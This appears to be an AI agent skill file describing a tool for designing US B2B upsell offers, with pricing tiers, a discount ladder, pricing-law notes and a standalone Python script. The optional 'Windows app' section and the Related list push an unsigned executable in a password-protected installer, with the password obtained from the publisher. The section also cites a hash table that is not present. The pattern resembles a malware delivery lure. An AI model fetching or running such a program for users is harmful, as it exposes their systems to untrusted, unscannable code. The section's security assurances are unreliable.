Upsell Offer Designer

Designs a US upsell or expansion offer with tiered pricing, an approval-safe discount ladder and the terms a buyer will read. Written for US account managers and customer success teams selling expansion into installed accounts.

Use this skill when someone asks for:

• upsell offer design
• expansion pricing tiers
• upgrade offer template
• b2b upsell pricing

The job

Account managers invent a discount on the spot, so the same customer gets different terms and the margin quietly disappears.

What you get

1. Collect the current plan, the usage driver, the contract end date and the approval rules.
2. Build the tiers from the cost base so each tier carries a real margin.
3. Set the discount ladder and mark the levels that need approval above a dollar amount.
4. Write the offer terms: what starts when, what the renewal price becomes and what the buyer must do.

Output contract:

• tiers - three tiers with the price, the margin and what changes at each level
• discount_ladder - the discount allowed at each level and who approves it
• offer_terms - start date, renewal price, minimum term and the buyer's action
• approval_flags - the terms that need a manager or finance sign-off

US specifics that matter

• The Robinson-Patman Act at 15 USC 13(a) requires a discount offered to one customer to be available to other customers buying in similar quantities under substantially similar conditions.
• A discount defended by good-faith cost justification or a meeting of competition is a recognized defense under the Robinson-Patman rules.
• FTC price advertising rules at 16 CFR Part 233 treat a price as an advertising claim that must be a bona fide offer.
• 16 CFR 242.3 requires an advertised price to be available for at least 14 consecutive days, which is why an offer needs a stated end date.

Guardrails (hard rules)

• Never offer a discount above the approved ladder or a term that finance has not signed off.
• Never use a competitor's pricing in the offer without a documented like-for-like comparison.
• Never promise a renewal discount that has not been approved in writing.
• Never present the offer as a legal or tax opinion.

Quickstart

1. Fill in the brief

templates/upsell-offer.yaml is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

python3 scripts/build_offer_tiers.py --input upsell-offer.yaml --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/upsell-offer-rules.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

Discount discipline

• Write the ladder with the maximum discount and the person who approves it.
• Keep the buyer-population check in mind: similar quantities and similar conditions.
• Record the justification for every exception, cost-based or competitive.
• Re-approve the ladder when the cost base changes, not just when the quarter does.

Offer terms a buyer can read

• What the new price is, what it replaces and when it starts.
• What the renewal price becomes and the minimum term.
• What the buyer has to do and the date the offer ends.
• Whether the offer applies to the whole account or named seats only.

Claims to avoid

• No savings claim without the baseline price and the period it was measured over.
• No free year or free trial without the material terms disclosed.
• No cost-per-seat comparison across different seat counts without saying so.
• No savings claim on a price that has not been available for the advertised period.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows multi-tool app for the workflows in this catalog, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Check the download before you run it. PowerShell:

Get-FileHash .\multitool.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start multitool/toolkit.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.

The installer asks for a password; ask the publisher for it before you start.

Files in this bundle

• SKILL.md - this file
• references/upsell-offer-rules.md - US discount, pricing and offer rules
• templates/upsell-offer.yaml - the brief to fill in
• scripts/build_offer_tiers.py - the working script

Verify the bundle

python3 scripts/build_offer_tiers.py --input upsell-offer.yaml --out ./out

Related

• AI Creative Studio - one brief into ad copy, social posts and video scripts.
• B2B Lead Research Agent - find the US accounts to run this against.
• AI Trading - research the tickers of public competitors before you write comparisons.
• Windows Multi-Tool Suite - one Windows kit that sets up all three workflows in a single folder.